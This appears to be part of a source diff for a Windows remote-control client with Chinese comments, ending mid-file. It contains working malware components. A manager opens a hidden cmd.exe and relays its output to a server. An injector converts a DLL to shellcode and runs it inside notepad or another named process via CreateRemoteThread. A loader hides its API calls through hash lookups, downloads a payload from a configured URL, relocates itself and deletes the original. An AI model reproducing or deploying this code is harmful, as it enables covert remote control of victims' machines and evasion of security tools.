SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭
} else {
err = GetLastError();
sprintf(buf, "CreateProcessAsUser failed: %d", (int)err);
Mprintf(buf);
// 提供更详细的错误信息
if (err == ERROR_FILE_NOT_FOUND) {
Mprintf("ERROR: agent executable file not found");
} else if (err == ERROR_ACCESS_DENIED) {
Mprintf("ERROR: Access denied - service may not have sufficient privileges");
} else if (err == 1314) {
Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
}
}
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return result;
}

57
client/SessionMonitor.h Normal file
View File

@@ -0,0 +1,57 @@
#ifndef SESSION_MONITOR_H
#define SESSION_MONITOR_H
#include <windows.h>
#include <wtsapi32.h>
#ifndef SAFE_CLOSE_HANDLE
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
#endif
#ifdef __cplusplus
extern "C" {
#endif
#pragma comment(lib, "wtsapi32.lib")
// 代理进程信息
typedef struct AgentProcessInfo {
DWORD processId;
DWORD sessionId;
HANDLE hProcess;
} AgentProcessInfo;
// 代理进程数组(动态数组)
typedef struct AgentProcessArray {
AgentProcessInfo* items;
size_t count;
size_t capacity;
} AgentProcessArray;
// 会话监控器结构
typedef struct SessionMonitor {
HANDLE monitorThread;
BOOL running;
CRITICAL_SECTION csProcessList;
AgentProcessArray agentProcesses;
} SessionMonitor;
// 初始化会话监控器
void SessionMonitor_Init(SessionMonitor* self);
// 清理会话监控器资源
void SessionMonitor_Cleanup(SessionMonitor* self);
// 启动会话监控
BOOL SessionMonitor_Start(SessionMonitor* self);
// 停止会话监控
void SessionMonitor_Stop(SessionMonitor* self);
void ServiceWriteLog(const char* message, const char* filename);
#ifdef __cplusplus
}
#endif
#endif /* SESSION_MONITOR_H */

190
client/ShellManager.cpp Normal file
View File

@@ -0,0 +1,190 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ShellManager.h"
#include "Common.h"
#include <IOSTREAM>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_nCmdLength = 0;
m_bStarting = TRUE;
m_hThreadRead = NULL;
m_hShellProcessHandle = NULL; //保存Cmd进程的进程句柄和主线程句柄
m_hShellThreadHandle = NULL;
SECURITY_ATTRIBUTES sa = {0};
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; //重要
m_hReadPipeHandle = NULL; //client
m_hWritePipeHandle = NULL; //client
m_hReadPipeShell = NULL; //cmd
m_hWritePipeShell = NULL; //cmd
//创建管道
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) {
if(m_hReadPipeHandle != NULL) {
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
}
if(m_hWritePipeShell != NULL) {
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
}
return;
}
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) {
if(m_hWritePipeHandle != NULL) {
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
}
if(m_hReadPipeShell != NULL) {
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
}
return;
}
//获得Cmd FullPath
char strShellPath[MAX_PATH] = {0};
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
//C:\windows\system32\cmd.exe
strcat(strShellPath,"\\cmd.exe");
//1 Cmd Input Output 要和管道对应上
//2 Cmd Hide
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0}; //CreateProcess
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO); //重要
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell; //将管道赋值
si.hStdOutput = si.hStdError = m_hWritePipeShell;
si.wShowWindow = SW_HIDE;
//启动Cmd进程
//3 继承
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
return;
}
m_hShellProcessHandle = pi.hProcess; //保存Cmd进程的进程句柄和主线程句柄
m_hShellThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThreadRead = __CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
}
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
{
unsigned long dwReturn = 0;
char szBuffer[1024] = {0};
DWORD dwTotal = 0;
CShellManager *This = (CShellManager*)lParam;
while (This->m_bStarting) {
Sleep(100);
//这里检测是否有数据 数据的大小是多少
while (PeekNamedPipe(This->m_hReadPipeHandle, //不是阻塞
szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) {
//如果没有数据就跳出本本次循环
if (dwReturn <= 0)
break;
memset(szBuffer, 0, sizeof(szBuffer));
LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
//读取管道数据
ReadFile(This->m_hReadPipeHandle,
szTotalBuffer, dwTotal, &dwReturn, NULL);
#ifdef _DEBUG
Mprintf("===> Input length= %d \n", This->m_nCmdLength);
#endif
int skipBytes = min(This->m_nCmdLength, (int)dwReturn);
const char *pStart = (char*)szTotalBuffer + skipBytes;
int length = (int)dwReturn - skipBytes;
This->m_nCmdLength -= skipBytes;
if (length > 0)
This->m_ClientObject->Send2Server(pStart, length);
LocalFree(szTotalBuffer);
}
}
SAFE_CLOSE_HANDLE(This->m_hThreadRead);
This->m_hThreadRead = NULL;
Mprintf("ReadPipe线程退出\n");
return 0;
}
VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0]) {
case COMMAND_NEXT: {
NotifyDialogIsOpen();
break;
}
default: {
m_nCmdLength = (ulLength - 2);// 不含"\r\n"
unsigned long dwReturn = 0;
WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL);
break;
}
}
}
CShellManager::~CShellManager()
{
m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
Sleep(100);
if (m_hReadPipeHandle != NULL) {
DisconnectNamedPipe(m_hReadPipeHandle);
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
}
if (m_hWritePipeHandle != NULL) {
DisconnectNamedPipe(m_hWritePipeHandle);
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
}
if (m_hReadPipeShell != NULL) {
DisconnectNamedPipe(m_hReadPipeShell);
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
}
if (m_hWritePipeShell != NULL) {
DisconnectNamedPipe(m_hWritePipeShell);
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
}
while (m_hThreadRead) {
Sleep(200); // wait for thread to exit
}
}

37
client/ShellManager.h Normal file
View File

@@ -0,0 +1,37 @@
// ShellManager.h: interface for the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
#define AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "IOCPClient.h"
class CShellManager : public CManager
{
public:
CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;
HANDLE m_hReadPipeShell;
HANDLE m_hWritePipeShell;
virtual ~CShellManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
BOOL m_bStarting;
HANDLE m_hThreadRead;
int m_nCmdLength; // 输入的命令长度
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
HANDLE m_hShellThreadHandle;
};
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)

272
client/ShellcodeInj.h Normal file
View File

@@ -0,0 +1,272 @@
#pragma once
#include "StdAfx.h"
#include <string>
#include <iostream>
#include <tlhelp32.h>
#ifndef IMAGE_FILE_MACHINE_ARM64
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
#endif
DWORD HashFunctionName(LPSTR name);
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
DWORD flags, LPSTR& outBytes, DWORD& outLength);
// A shell code injector.
class ShellcodeInj
{
public:
ShellcodeInj(BYTE* buf, int len, const char *func=0, LPVOID userData=0, DWORD userLength=0)
{
m_buffer = buf;
m_length = len;
m_userFunction = func ? HashFunctionName((char*)func) : 0;
m_userData = userData;
m_userLength = userLength;
}
// Return the process id if inject succeed.
int InjectProcess(const char* processName = nullptr, bool hasPermission=false)
{
if (m_buffer == NULL) return 0;
if (processName) {
auto pid = GetProcessIdByName(processName);
if (pid ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false)
return pid;
}
if (hasPermission) {
auto pid = LaunchNotepadWithCurrentToken();
if (pid) {
return InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) ? pid : 0;
}
}
PROCESS_INFORMATION pi = {};
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; // hide the window
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return InjectShellcode(pi.dwProcessId, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) ? pi.dwProcessId : 0;
}
return 0;
}
bool InjectProcess(int pid)
{
return m_buffer ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false;
}
// Check if the process is 64bit.
static bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
{
is64Bit = FALSE;
BOOL bWow64 = FALSE;
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
if (fnIsWow64Process2) {
USHORT processMachine = 0, nativeMachine = 0;
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) {
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) &&
(nativeMachine == IMAGE_FILE_MACHINE_AMD64 || nativeMachine == IMAGE_FILE_MACHINE_ARM64);
return true;
}
} else {
// Old system use IsWow64Process
if (IsWow64Process(hProcess, &bWow64)) {
if (bWow64) {
is64Bit = FALSE; // WOW64 → 一定是 32 位
} else {
#ifdef _WIN64
is64Bit = TRUE; // 64 位程序不会运行在 32 位系统 → 目标一定是64位
#else
is64Bit = FALSE; // 32 位程序无法判断目标是否64位 → 保守为false
#endif
}
return true;
}
}
return false;
}
private:
BYTE* m_buffer = NULL;
int m_length = 0;
DWORD m_userFunction = 0;
LPVOID m_userData = 0;
DWORD m_userLength = 0;
DWORD LaunchNotepadWithCurrentToken()
{
HANDLE hToken = NULL;
// 打开当前进程 token
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
&hToken)) {
Mprintf("OpenProcessToken failed: %d\n", GetLastError());
return 0;
}
// 复制主 token
HANDLE hNewToken = NULL;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
Mprintf("DuplicateTokenEx failed: %d\n", GetLastError());
CloseHandle(hToken);
return 0;
}
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
// 使用复制后的 token 启动 notepad
if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe",
NULL, 0, NULL, NULL, &si, &pi)) {
Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hNewToken);
return 0;
}
DWORD dwProcessId = pi.dwProcessId;
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hToken);
CloseHandle(hNewToken);
return dwProcessId; // 返回子进程 ID
}
// Find process id by name.
DWORD GetProcessIdByName(const std::string& procName)
{
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe32 = { sizeof(pe32) };
if (Process32First(hSnap, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
}
return pid;
}
// Check if it's able to inject.
HANDLE CheckProcess(DWORD pid)
{
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed. PID: %d\n", pid);
return nullptr;
}
// Check process and system architecture.
BOOL targetIs64Bit = FALSE;
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
if (!success) {
Mprintf("Get architecture failed \n");
CloseHandle(hProcess);
return nullptr;
}
const BOOL selfIs64Bit = sizeof(void*) == 8;
if (selfIs64Bit != targetIs64Bit) {
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
CloseHandle(hProcess);
return nullptr;
}
return hProcess;
}
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength,
DWORD userFunction, LPVOID userData, DWORD userLength)
{
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, userFunction, userData, userLength, 0x1, finalShellcode, finalSize)) {
return false;
}
compressedBuffer = new BYTE[finalSize];
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
free(finalShellcode);
return true;
}
return false;
}
// Inject shell code to target process.
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize, DWORD userFunction, LPVOID userData, DWORD userLength)
{
HANDLE hProcess = CheckProcess(pid);
if (!hProcess)
return false;
// Convert DLL -> Shell code.
LPBYTE shellcode = NULL;
int len = 0;
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize, userFunction, userData, userLength)) {
Mprintf("MakeShellcode failed \n");
CloseHandle(hProcess);
return false;
}
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!remoteBuffer) {
Mprintf("VirtualAllocEx failed \n");
CloseHandle(hProcess);
return false;
}
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
Mprintf("WriteProcessMemory failed \n");
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
delete[] shellcode;
return false;
}
delete[] shellcode;
// Shell code entry.
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
if (!hThread) {
Mprintf("CreateRemoteThread failed \n");
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}
WaitForSingleObject(hThread, INFINITE);
Mprintf("Finish injecting to PID: %d\n", pid);
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}
};

309
client/SimpleSCLoader.c Normal file
View File

@@ -0,0 +1,309 @@
#include <windows.h>
#include "../common/aes.h"
struct {
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char *data;
int len;
int offset;
char file[_MAX_PATH];
char targetDir[_MAX_PATH];
char downloadUrl[_MAX_PATH];
} sc = { "Hello, World!" };
#define Kernel32Lib_Hash 0x1cca9ce6
#define GetProcAddress_Hash 0x1AB9B854
typedef void* (WINAPI* _GetProcAddress)(HMODULE hModule, char* funcName);
#define LoadLibraryA_Hash 0x7F201F78
typedef HMODULE(WINAPI* _LoadLibraryA)(LPCSTR lpLibFileName);
#define VirtualAlloc_Hash 0x5E893462
typedef LPVOID(WINAPI* _VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
#define VirtualProtect_Hash 1819198468
typedef BOOL(WINAPI* _VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
#define Sleep_Hash 1065713747
typedef VOID(WINAPI* _Sleep)(DWORD dwMilliseconds);
#define GetModuleFileName_Hash 1888753264
typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWORD nSize);
#define SetFilePointer_Hash 1978850691
typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
#define IsFileExist_Hash 1123472280
typedef DWORD(WINAPI* _IsFileExist)(LPCSTR lpFileName);
#define CreateFileA_Hash 1470354217
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
#define ReadFile_Hash 990362902
typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
#define DeleteFileA_Hash 161619550
typedef BOOL(WINAPI* _DeleteFileA)(LPCSTR lpFileName);
#define CopyFileA_Hash 524124328
typedef BOOL(WINAPI* _CopyFileA)(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, BOOL bFailIfExists);
#define CloseHandle_Hash 110641196
typedef BOOL(WINAPI* _CloseHandle)(HANDLE hObject);
#define Download_Hash 557506787
typedef HRESULT (WINAPI* _Download)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);
typedef struct _UNICODE_STR {
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
// LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first
// entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDataStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA { //, 7 elements, 0x28 bytes
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK { // 2 elements, 0x8 bytes
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB { // 65 elements, 0x210 bytes
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
// BKDRHash
inline uint32_t calc_hash(const char* str)
{
uint32_t seed = 131; // 31 131 1313 13131 131313 etc..
uint32_t hash = 0;
while (*str) {
hash = hash * seed + (*str++);
}
return (hash & 0x7FFFFFFF);
}
inline uint32_t calc_hashW2(const wchar_t* str, int len)
{
uint32_t seed = 131; // 31 131 1313 13131 131313 etc..
uint32_t hash = 0;
for (int i = 0; i < len; ++i) {
wchar_t s = *str++;
if (s >= 'a') s = s - 0x20;
hash = hash * seed + s;
}
return (hash & 0x7FFFFFFF);
}
inline HMODULE get_kernel32_base()
{
_PPEB peb = NULL;
#ifdef _WIN64
peb = (_PPEB)__readgsqword(0x60);
#else
peb = (_PPEB)__readfsdword(0x30);
#endif
LIST_ENTRY* entry = peb->pLdr->InMemoryOrderModuleList.Flink;
while (entry) {
PLDR_DATA_TABLE_ENTRY e = (PLDR_DATA_TABLE_ENTRY)entry;
if (calc_hashW2(e->BaseDllName.pBuffer, e->BaseDllName.Length / 2) == Kernel32Lib_Hash) {
return (HMODULE)e->DllBase;
}
entry = entry->Flink;
}
return 0;
};
#define cast(t, a) ((t)(a))
#define cast_offset(t, p, o) ((t)((uint8_t *)(p) + (o)))
void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAddress get_proc_address)
{
PIMAGE_DOS_HEADER dosh = cast(PIMAGE_DOS_HEADER, module);
PIMAGE_NT_HEADERS nth = cast_offset(PIMAGE_NT_HEADERS, module, dosh->e_lfanew);
PIMAGE_DATA_DIRECTORY dataDict = &nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (dataDict->VirtualAddress == 0 || dataDict->Size == 0) return 0;
PIMAGE_EXPORT_DIRECTORY exportDict = cast_offset(PIMAGE_EXPORT_DIRECTORY, module, dataDict->VirtualAddress);
if (exportDict->NumberOfNames == 0) return 0;
uint32_t* fn = cast_offset(uint32_t*, module, exportDict->AddressOfNames);
uint32_t* fa = cast_offset(uint32_t*, module, exportDict->AddressOfFunctions);
uint16_t* ord = cast_offset(uint16_t*, module, exportDict->AddressOfNameOrdinals);
for (uint32_t i = 0; i < exportDict->NumberOfNames; i++) {
char* name = cast_offset(char*, module, fn[i]);
uint32_t hash = calc_hash(name);
if (hash != func_hash) continue;
return get_proc_address == 0 ? cast_offset(void*, module, fa[ord[i]]) : get_proc_address(module, name);
}
return 0;
}
char* strstr(const char* h, const char* n)
{
if (!*n) return (char*)h;
for (; *h; h++) {
const char* p = h, * q = n;
while (*p && *q && *p == *q) p++, q++;
if (!*q) return (char*)h;
}
return NULL;
}
// A simple shell code loader.
// Copy left (c) yuanyuanxiang.
#ifdef _DEBUG
#define entry main
#endif
int entry()
{
HMODULE kernel32 = get_kernel32_base();
if (!kernel32) return(1);
_GetProcAddress GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0);
_LoadLibraryA LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, GetProcAddress);
_VirtualAlloc VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, GetProcAddress);
_VirtualProtect VirtualProtect = (_VirtualProtect)get_proc_address_from_hash(kernel32, VirtualProtect_Hash, GetProcAddress);
_Sleep Sleep = (_Sleep)get_proc_address_from_hash(kernel32, Sleep_Hash, GetProcAddress);
_GetModuleFileName GetModulePath = (_GetModuleFileName)get_proc_address_from_hash(kernel32, GetModuleFileName_Hash, GetProcAddress);
_CreateFileA CreateFileA = (_CreateFileA)get_proc_address_from_hash(kernel32, CreateFileA_Hash, GetProcAddress);
_SetFilePointer SetFilePointer = (_SetFilePointer)get_proc_address_from_hash(kernel32, SetFilePointer_Hash, GetProcAddress);
_ReadFile ReadFile = (_ReadFile)get_proc_address_from_hash(kernel32, ReadFile_Hash, GetProcAddress);
_DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress);
_CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress);
_CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress);
_IsFileExist IsFileExist = (_IsFileExist)get_proc_address_from_hash(kernel32, IsFileExist_Hash, GetProcAddress);
if (!sc.file[0]) GetModulePath(NULL, sc.file, MAX_PATH);
char* file = sc.file, dstFile[2 * MAX_PATH];
if (sc.targetDir[0]) {
char curExe[MAX_PATH], * p = dstFile, * dir = sc.targetDir;
GetModulePath(NULL, curExe, MAX_PATH);
while (*dir) *p++ = *dir++;
*p++ = '\\';
while (*file) *p++ = *file++;
*p = '\0';
char name[] = { 'u','r','l','m','o','n','\0' };
HMODULE urlmon = LoadLibraryA(name);
_Download URLDownloadToFileA = urlmon ? (_Download)get_proc_address_from_hash(urlmon, Download_Hash, GetProcAddress) : NULL;
if (sc.downloadUrl[0] && IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES && URLDownloadToFileA) {
if (FAILED(URLDownloadToFileA(NULL, sc.downloadUrl, dstFile, 0, NULL))) return(-1);
}
file = dstFile;
if (!strstr(curExe, sc.targetDir)) {
BOOL b = CopyFileA(sc.file, dstFile, FALSE);
DeleteFileA(sc.file);
if (IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES) return(2);
}
}
HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return(3);
SetFilePointer(hFile, (LONG)sc.offset, NULL, FILE_BEGIN);
DWORD bytesRead = 0;
